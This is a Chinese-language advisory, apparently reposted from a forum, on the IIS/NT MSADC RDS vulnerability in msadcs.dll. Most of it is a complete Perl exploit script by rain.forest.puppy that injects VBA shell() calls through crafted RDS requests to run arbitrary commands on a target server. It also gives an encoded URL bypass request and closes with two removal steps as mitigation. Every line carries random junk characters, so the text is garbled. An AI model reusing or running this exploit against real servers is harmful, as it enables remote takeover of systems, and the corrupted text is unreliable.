IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3N'f Hy j=%^CRum 涉及程序:
)]=1W
Microsoft NT server
FAS+*GFz =9lrPQ]w 描述:
^k'?e"[gTs 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]<pnHh+2A 5&y;r 详细:
w/L^w50pt 如果你没有时间读详细内容的话,就删除:
|r]f2Mrm c:\Program Files\Common Files\System\Msadc\msadcs.dll
fjE 有关的安全问题就没有了。
urlwn*!^s (|6Y1`` 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
LEq"g7YH W-QBC-
3 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Y1?"Ut 关于利用ODBC远程漏洞的描述,请参看:
/-#1ys#F= )w{bT] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !Od?69W, $ d ,Fj|}S 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
aw0; http://www.microsoft.com/security/bulletins/MS99-025faq.asp &
*^FBJEa. ]vyu! 这里不再论述。
X`[P11` JQ>GKu~ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
NV|[.g=lg 6z/ct|n /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
dFd^@b 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ad\?@>[I 2 kOFyD
-:hiLZJ7- #将下面这段保存为txt文件,然后: "perl -x 文件名"
<K~> :4c 9 >t #!perl
9@Iz:!oqb #
'`-W!g[
> # MSADC/RDS 'usage' (aka exploit) script
`]Uu` b #
6 9 PTo # by rain.forest.puppy
'f#i@$|] #
+<G |Ru- # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
gaK m`# # beta test and find errors!
@}
nI$x. B? Vr9H 7n use Socket; use Getopt::Std;
sHqs)@D getopts("e:vd:h:XR", \%args);
fpjy[$8 #Ub"Ii print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Bs@!S? *4i)aj if (!defined $args{h} && !defined $args{R}) {
O8;`6r print qq~
A`=;yD Usage: msadc.pl -h <host> { -d <delay> -X -v }
.4M8 -h <host> = host you want to scan (ip or domain)
jRswGMx -d <seconds> = delay between calls, default 1 second
&C~R* -X = dump Index Server path table, if available
N1lhlw6 -v = verbose
b8?qYm -e = external dictionary file for step 5
vyME e}x}Fj</( Or a -R will resume a command session
*K9I+t"g U4DQ+g(A ~; exit;}
0W asE1t| [-Zp[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
E+Jh4$x{ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4G:I VK9 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~?V+^<P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
?_\t7f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>^1|Mg/!> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hSxlj7Eo^T R W=<EF& if (!defined $args{R}){ $ret = &has_msadc;
6GxQ< die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y$n7'W6 [m9Pt]j@
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]L'FYOfrpx . "cmd /c ";
U({20 $in=<STDIN>; chomp $in;
H-?wEMi)*u $command="cmd /c " . $in ;
h'i8o>7 W\(u1>lj if (defined $args{R}) {&load; exit;}
+3HukoR( 4?#0fK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u!k]Q#2ZR &try_btcustmr;
<b-BJ2],k \JJ>y print "\nStep 2: Trying to make our own DSN...";
"2>I? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0jS"PH?[ ]r#YU0 print "\nStep 3: Trying known DSNs...";
g$&uD &known_dsn;
-hM
nA)+ u
N%RB$G print "\nStep 4: Trying known .mdbs...";
_eB?G &known_mdb;
f@ &?K< Rw]4/ if (defined $args{e}){
4_CV.? print "\nStep 5: Trying dictionary of DSN names...";
h)%}O.ueB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Wvhg:vup }uI(D&?+h print "Sorry Charley...maybe next time?\n";
A),nkw0X exit;
so* lV GZ L{~7n ##############################################################################
J`6X6YZ ~~U2Sr sub sendraw { # ripped and modded from whisker
?e? mg sleep($delay); # it's a DoS on the server! At least on mine...
Hx}K
wS my ($pstr)=@_;
-qki^!Y? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|E\0Rv{H3 die("Socket problems\n");
}3t bqFiH if(connect(S,pack "SnA4x8",2,80,$target)){
CgLS2 select(S); $|=1;
2b+0}u>a print $pstr; my @in=<S>;
/?POIn+0o select(STDOUT); close(S);
"W_C%elg return @in;
dcFqK~ } else { die("Can't connect...\n"); }}
V}1D1.@ =F!DwaZ ##############################################################################
u3!aKXnv< ^y.e
Fz sub make_header { # make the HTTP request
S.;>:Dd[K my $msadc=<<EOT
fIrl?X'] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
aBPaC=g{HO User-Agent: ACTIVEDATA
yOn +Y Host: $ip
`O-LM e Content-Length: $clen
| v?
pS Connection: Keep-Alive
DRldRm/ j8@Eqh ADCClientVersion:01.06
l@+WGh Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
jB8n\8Bs `={s*^Ta --!ADM!ROX!YOUR!WORLD!
zNE"5 Content-Type: application/x-varg
%G%##wv: Content-Length: $reqlen
*7"R[!9 >
,L'A;c} EOT
Oeo:V" ; $msadc=~s/\n/\r\n/g;
H].G%,2' return $msadc;}
UcCkn7} s*R\!L ##############################################################################
JPS7L} Kv M Cam c sub make_req { # make the RDS request
.xtjB8gc my ($switch, $p1, $p2)=@_;
B/IPG~aMEZ my $req=""; my $t1, $t2, $query, $dsn;
!P7##ho0 -.A8kJ if ($switch==1){ # this is the btcustmr.mdb query
p100dJvq $query="Select * from Customers where City=" . make_shell();
20hF2V $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
sSLs%)e|: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
c5uT'P" {}?;|&_ elsif ($switch==2){ # this is general make table query
0A%>'< $query="create table AZZ (B int, C varchar(10))";
Gt&x< $dsn="$p1";}
o.tCw\M$g 0B(<I?a/ elsif ($switch==3){ # this is general exploit table query
tuA,t $query="select * from AZZ where C=" . make_shell();
*_<P%J $dsn="$p1";}
Lc>9[!+# ;!<WL@C~ elsif ($switch==4){ # attempt to hork file info from index server
Wt +,6Cq $query="select path from scope()";
aq[ ;[$w $dsn="Provider=MSIDXS;";}
m1 78S3 S7-ka{S elsif ($switch==5){ # bad query
e^g3J/aU $query="select";
dhe?7r]u $dsn="$p1";}
9wP_dJvb $!c)%qDq $t1= make_unicode($query);
%Z-^Bu8;y $t2= make_unicode($dsn);
i2{xW`AcUh $req = "\x02\x00\x03\x00";
fP`g#t)4Tu $req.= "\x08\x00" . pack ("S1", length($t1));
/^~3Ib8Fw+ $req.= "\x00\x00" . $t1 ;
lAsDdxB` $req.= "\x08\x00" . pack ("S1", length($t2));
+w Oa $req.= "\x00\x00" . $t2 ;
,jWMJ0X/N= $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
i/rdPbq return $req;}
IxT[1$e ; Xy\7tx ##############################################################################
uLYz!E+E Q)\7(n sub make_shell { # this makes the shell() statement
EG5'kYw2 return "'|shell(\"$command\")|'";}
$'3`$
+zxj-diM ##############################################################################
u,0N[.&N 2Mc/ah sub make_unicode { # quick little function to convert to unicode
Sf>R7.lpP my ($in)=@_; my $out;
?PNG@OK for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!Gu,X'#Ab return $out;}
u49zc9 tE0DST/ ##############################################################################
3 Oy-\09 8tWOVLquJ sub rdo_success { # checks for RDO return success (this is kludge)
yp=Hxf my (@in) = @_; my $base=content_start(@in);
LTu
c s} if($in[$base]=~/multipart\/mixed/){
03*` T return 1 if( $in[$base+10]=~/^\x09\x00/ );}
CW k#Amt. return 0;}
.3Nd[+[ )rv5QH`i ##############################################################################
7<[p1C*B o+W5xHe^1 sub make_dsn { # this makes a DSN for us
]=p@1 my @drives=("c","d","e","f");
'iO?M'0gE# print "\nMaking DSN: ";
*loPwV8 foreach $drive (@drives) {
G#/}_P print "$drive: ";
$ WA Fr my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Evkb`dU3n "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^4^1)' % . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*>!O2c $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
EWPP&(u3 return 0 if $2 eq "404"; # not found/doesn't exist
Efi@hdEV if($2 eq "200") {
Y|J\,7CM foreach $line (@results) {
|p J)w return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qG7^XO Ws- } return 0;}
A87JPX#R? ryzz!0l ##############################################################################
c0]^V>}cl 7N "$~UfC sub verify_exists {
d3h2$EDD my ($page)=@_;
uR{HCZ- my @results=sendraw("GET $page HTTP/1.0\n\n");
u2
a
U0k: return $results[0];}
FR9<$ X l#P@60 ##############################################################################
@-bX[}. &P&LjHFK sub try_btcustmr {
V6"<lK8" my @drives=("c","d","e","f");
#|fa/kb~ my @dirs=("winnt","winnt35","winnt351","win","windows");
/_E8'qlx LZm6\x foreach $dir (@dirs) {
@sJ[<V print "$dir -> "; # fun status so you can see progress
Pw/Z;N;:V foreach $drive (@drives) {
+MPM^ m print "$drive: "; # ditto
hK9Trr wau $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Dt)\q^bH) $reqlenlen=length( "$reqlen" );
{dJC3/Rf $clen= 206 + $reqlenlen + $reqlen;
!b0'd'xe 7''l\3mIn my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kH1hsDe|&y if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
";38vjIV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
1g6AzUXg J@Eqqyf" ##############################################################################
v5l)T}Nb />;1 } sub odbc_error {
jq#_*&Eg] my (@in)=@_; my $base;
V|b9zHh my $base = content_start(@in);
Eq^k @ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\]}|m<R $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Zh`lC1l' $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~\`lbGJ7? $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!s#25}9zX5 return $in[$base+4].$in[$base+5].$in[$base+6];}
'M185wDdAl print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
7PO3{I print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6lO]V=+ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
WS8m^~S@\ )%x oN< ##############################################################################
cc7*O ^D\1F$AjC sub verbose {
wXp
A1,i my ($in)=@_;
IW3ZHmrpA return if !$verbose;
]&\HAmOQS print STDOUT "\n$in\n";}
xaSvjc\ 5bM/
v ##############################################################################
`,d*> X=_pQ+j`^ sub save {
aYr?J
Ol my ($p1, $p2, $p3, $p4)=@_;
02:] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
E%OY7zf`% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
e> ~g!S}G close OUT;}
G$pTTT6# $,q~ q^0 ##############################################################################
Htn=h~U`z ?>5[~rMn sub load {
GqumH/; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i`/_^Fndyu open(IN,"<rds.save") || die("Couldn't open rds.save\n");
<uUQ-]QOIh @p=<IN>; close(IN);
yjUZ40Dq $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Ov"]&e(I[ $target= inet_aton($ip) || die("inet_aton problems");
`rsPIOu print "Resuming to $ip ...";
Mg;%];2Nt $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$Z6g/bD`E if($p[1]==1) {
8A}w}h $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
% eWzr $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ia
1Sf3 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!!Z#'Wq if (rdo_success(@results)){print "Success!\n";}
4s nL(( else { print "failed\n"; verbose(odbc_error(@results));}}
zb.^ _A elsif ($p[1]==3){
;EbGW&T if(run_query("$p[3]")){
3Yf&F([t print "Success!\n";} else { print "failed\n"; }}
Ig75bZz elsif ($p[1]==4){
occ^bq if(run_query($drvst . "$p[3]")){
T%~w~stW print "Success!\n"; } else { print "failed\n"; }}
I&~kwOP exit;}
\Zz"%i 0 3fCn" ##############################################################################
j_*$Avy JP`$A sub create_table {
_O)xE9t#ru my ($in)=@_;
/!;oO_U:# $reqlen=length( make_req(2,$in,"") ) - 28;
1>P[3Y@} $reqlenlen=length( "$reqlen" );
[
qt
hn[3 $clen= 206 + $reqlenlen + $reqlen;
O=UXe]D my @results=sendraw(make_header() . make_req(2,$in,""));
ehk5U,d return 1 if rdo_success(@results);
ntbl0Sk my $temp= odbc_error(@results); verbose($temp);
hc
OT+L>
return 1 if $temp=~/Table 'AZZ' already exists/;
`v3WJ>Q!N? return 0;}
H-A?F^# DhY.5 ##############################################################################
b"n8~Vd lxb+0fiN sub known_dsn {
Qd;P?W6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
a5=8zO#%g my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a0I+|fR "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
zWKnkIit, "banner", "banners", "ads", "ADCDemo", "ADCTest");
1BT]_ cP c* 2U'A foreach $dSn (@dsns) {
n%zW6} print ".";
OE' ?3S next if (!is_access("DSN=$dSn"));
u(l[~r>8W; if(create_table("DSN=$dSn")){
rx2?y3pv print "$dSn successful\n";
%@
UH,Ew if(run_query("DSN=$dSn")){
hw! l{yv print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
m=D2|WA8 print "Something's borked. Use verbose next time\n";}}} print "\n";}
`i5U&K. 7 .GcIwP'aU- ##############################################################################
^hq+
L^$^ |/<,71Ae sub is_access {
.j?`U[V%a my ($in)=@_;
873$EiyXR $reqlen=length( make_req(5,$in,"") ) - 28;
]j> W9n? $reqlenlen=length( "$reqlen" );
hkV;(Fr&z $clen= 206 + $reqlenlen + $reqlen;
0WT]fY?IS my @results=sendraw(make_header() . make_req(5,$in,""));
a (AKVk\ my $temp= odbc_error(@results);
,Y *unk<S verbose($temp); return 1 if ($temp=~/Microsoft Access/);
f%vJmpg return 0;}
G165grGFd ~hK7(K ##############################################################################
Q#"p6ZmI Z(DCR/U=(> sub run_query {
d: D`rpcC my ($in)=@_;
oV"d%ks $reqlen=length( make_req(3,$in,"") ) - 28;
xxjg)rVuy $reqlenlen=length( "$reqlen" );
xC N6? $clen= 206 + $reqlenlen + $reqlen;
Xi$( U8J_ my @results=sendraw(make_header() . make_req(3,$in,""));
_M'WTe return 1 if rdo_success(@results);
I\e?v`e my $temp= odbc_error(@results); verbose($temp);
n@5Sp2p return 0;}
s~e<Pr?yu |dIP &9 ##############################################################################
Qn=3b:S- e_'/4
n sub known_mdb {
a&:1W83 my @drives=("c","d","e","f","g");
^b|Z<oF my @dirs=("winnt","winnt35","winnt351","win","windows");
3m3ljy my $dir, $drive, $mdb;
mGx!{v~i& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\7b-w81M- +B(x:hzY9 # this is sparse, because I don't know of many
{UqS q my @sysmdbs=( "\\catroot\\icatalog.mdb",
wM.z/r\p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
g4b-~1[S "\\system32\\certmdb.mdb",
?LJ$:u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
fP3e{dVf PPoQNW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
EWOS6Yg7 "\\cfusion\\cfapps\\forums\\forums_.mdb",
p7 s#j "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
kc*zP= "\\cfusion\\cfapps\\security\\realm_.mdb",
)Z6bMAb0'N "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ZEY="pf "\\cfusion\\database\\cfexamples.mdb",
TljN!nv] "\\cfusion\\database\\cfsnippets.mdb",
*u
L Ooq "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
k(hYNmmo
j "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
HI iMq'H^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
WM y97*L< "\\cfusion\\database\\smpolicy.mdb",
+*u'vt? "\\cfusion\\database\cypress.mdb",
590.mCm "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
W|@7I@@$" "\\website\\cgi-win\\dbsample.mdb",
s5/5>a V "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;+v5li "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
6Gt~tlt:L ); #these are just
9%fd\o@X foreach $drive (@drives) {
oCtg{*vp foreach $dir (@dirs){
$cl[Qcw foreach $mdb (@sysmdbs) {
;]*V6!6RR print ".";
=^liong0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
lMkDLobos print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.CJQ]ECl7p if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Xae0xs print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
d)@Hx8 } else { print "Something's borked. Use verbose next time\n"; }}}}}
]5(T{ _#[~?g` foreach $drive (@drives) {
SCwAAE9s] foreach $mdb (@mdbs) {
RF3?q6j , print ".";
pypW if(create_table($drv . $drive . $dir . $mdb)){
.'`7JU#{ print "\n" . $drive . $dir . $mdb . " successful\n";
R Lnsy, if(run_query($drv . $drive . $dir . $mdb)){
"53'FRj_\ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
jA'qXc+\ } else { print "Something's borked. Use verbose next time\n"; }}}}
`
=ocr8c }
v[$-)vs*ag m7<HK,d ##############################################################################
V+\L@mz; nP]tc sub hork_idx {
Q?"o.T'; print "\nAttempting to dump Index Server tables...\n";
IZ){xI print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@8keLrp $reqlen=length( make_req(4,"","") ) - 28;
g%C!)UbT $reqlenlen=length( "$reqlen" );
K4T#8K]aZF $clen= 206 + $reqlenlen + $reqlen;
$}&r.=J". my @results=sendraw2(make_header() . make_req(4,"",""));
cnJL*{H<2 if (rdo_success(@results)){
'5^$v{ my $max=@results; my $c; my %d;
g/*x;d= for($c=19; $c<$max; $c++){
m(2(Caz{ $results[$c]=~s/\x00//g;
* SAYli+@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
bx!uHL= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4Vv~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
u_kcuN\Sq
$d{"$1$2"}="";}
ceiUpWMu, foreach $c (keys %d){ print "$c\n"; }
kXjrc } else {print "Index server doesn't seem to be installed.\n"; }}
,E7+Z' ; (tZ#EL0 ##############################################################################
l'yX_`*Iq :+ASZE. sub dsn_dict {
%62W[Oh5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
$O\I9CGr$ while(<IN>){
>Xz=E0;^Ua $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
? PIq/[tk next if (!is_access("DSN=$dSn"));
hMcSB8 ? if(create_table("DSN=$dSn")){
g(X-]/C{ print "$dSn successful\n";
1yFVF if(run_query("DSN=$dSn")){
L# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
yQP!Vt^ print "Something's borked. Use verbose next time\n";}}}
aJ!(c}N~97 print "\n"; close(IN);}
+jpaBr-O# $x5,Oe n ##############################################################################
~Onj|w7 72i]`
sub sendraw2 { # ripped and modded from whisker
-|1H-[Y( sleep($delay); # it's a DoS on the server! At least on mine...
w@K4u{| my ($pstr)=@_;
W|~Jl7hs8Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#=}dv8 die("Socket problems\n");
o0yyP,?yh if(connect(S,pack "SnA4x8",2,80,$target)){
v~l_6V} print "Connected. Getting data";
*
':LBc=% open(OUT,">raw.out"); my @in;
cImOZx select(S); $|=1; print $pstr;
jCJbmEfo9@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<5Ye')+ close(OUT); select(STDOUT); close(S); return @in;
h;q=<[h\ } else { die("Can't connect...\n"); }}
jwP}{mi* .2K4<UOAbm ##############################################################################
a'NxsByG]s \IL;}D{ sub content_start { # this will take in the server headers
fPW|)e" my (@in)=@_; my $c;
ujlIWQU2mo for ($c=1;$c<500;$c++) {
[>P9_zID if($in[$c] =~/^\x0d\x0a/){
$A4rdhvd if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
jb~W(8cj else { return $c+1; }}}
tEU}?k+:j) return -1;} # it should never get here actually
8LI
aN} dwH8Zg$B ##############################################################################
T9s$IS , P M
x`PB sub funky {
d65fkz==A) my (@in)=@_; my $error=odbc_error(@in);
8vk*", if($error=~/ADO could not find the specified provider/){
fX:)mLnO/ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
mYU7b8x_ exit;}
v?BVUH>#9 if($error=~/A Handler is required/){
J
8!D."'Q0 print "\nServer has custom handler filters (they most likely are patched)\n";
Vxr_2Kra exit;}
4$5d*7 if($error=~/specified Handler has denied Access/){
t:NYsL print "\nServer has custom handler filters (they most likely are patched)\n";
tQ,,krw~ exit;}}
Z.4 vKO[< :Dh\ ##############################################################################
j{U#g8 LnwI 7uvq sub has_msadc {
xJ-(]cO' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
iRbTH}4i my $base=content_start(@results);
Lip(r3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
U<pGP return 0;}
pCB^\M%* tK
$r_* ########################
A?YU:f 3`Ug]<m Y)Os]<N1 解决方案:
h20<X; 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*btLd7c% 2、移除web 目录: /msadc